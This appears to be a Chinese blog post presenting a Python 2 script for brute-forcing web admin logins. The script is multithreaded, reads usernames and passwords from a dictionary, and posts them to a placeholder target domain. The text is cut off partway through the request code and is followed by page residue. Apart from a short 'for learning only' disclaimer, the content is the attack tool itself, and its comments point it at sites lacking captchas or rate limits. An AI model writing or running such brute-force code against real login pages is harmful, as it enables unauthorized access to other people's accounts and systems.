# -*- coding: utf-8 -*-
# 利用python 写的多线程爆破后台用户名+密码(自备字典),比较实用,即使是在信息安全这么重视的今天,还是有人不加验证码或者异常访问限制之类的登陆验证方式,这样就很# 容易被弱口令爆破工具拿下,(本代码仅限学习实用,禁止进行web攻击,不承担法律责任)
import urllib2
import urllib
import httplib
import threading
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Connection":"Keep-Alive",
"Referer":"http://www.xxxxx.com/"};# referer:是代理的访问来源地址
# lock = threading.Lock()
def tryUser(user,password):
#print user,password
global headers
global outFile
conn = httplib.HTTPConnection("www.xxxxx.com") # 远程域名
if len(user) < 3: # 限制用户名长度,排除字典中的无用数据
return # 主动退出线程
else:
#lock.acquire() # 多线程操作文件,提前加锁,用后释放
#line = inFile.readline()
#userData = line.strip().split(' # ') # strip() 默认去除空白字符包括' ','\t','\n'等
#lock.release()
user = user.strip()
passwd = password.strip()
params = urllib.urlencode({'username': user, 'pass
python 写的http后台弱口令爆破工具
最新推荐文章于 2025-06-14 13:19:54 发布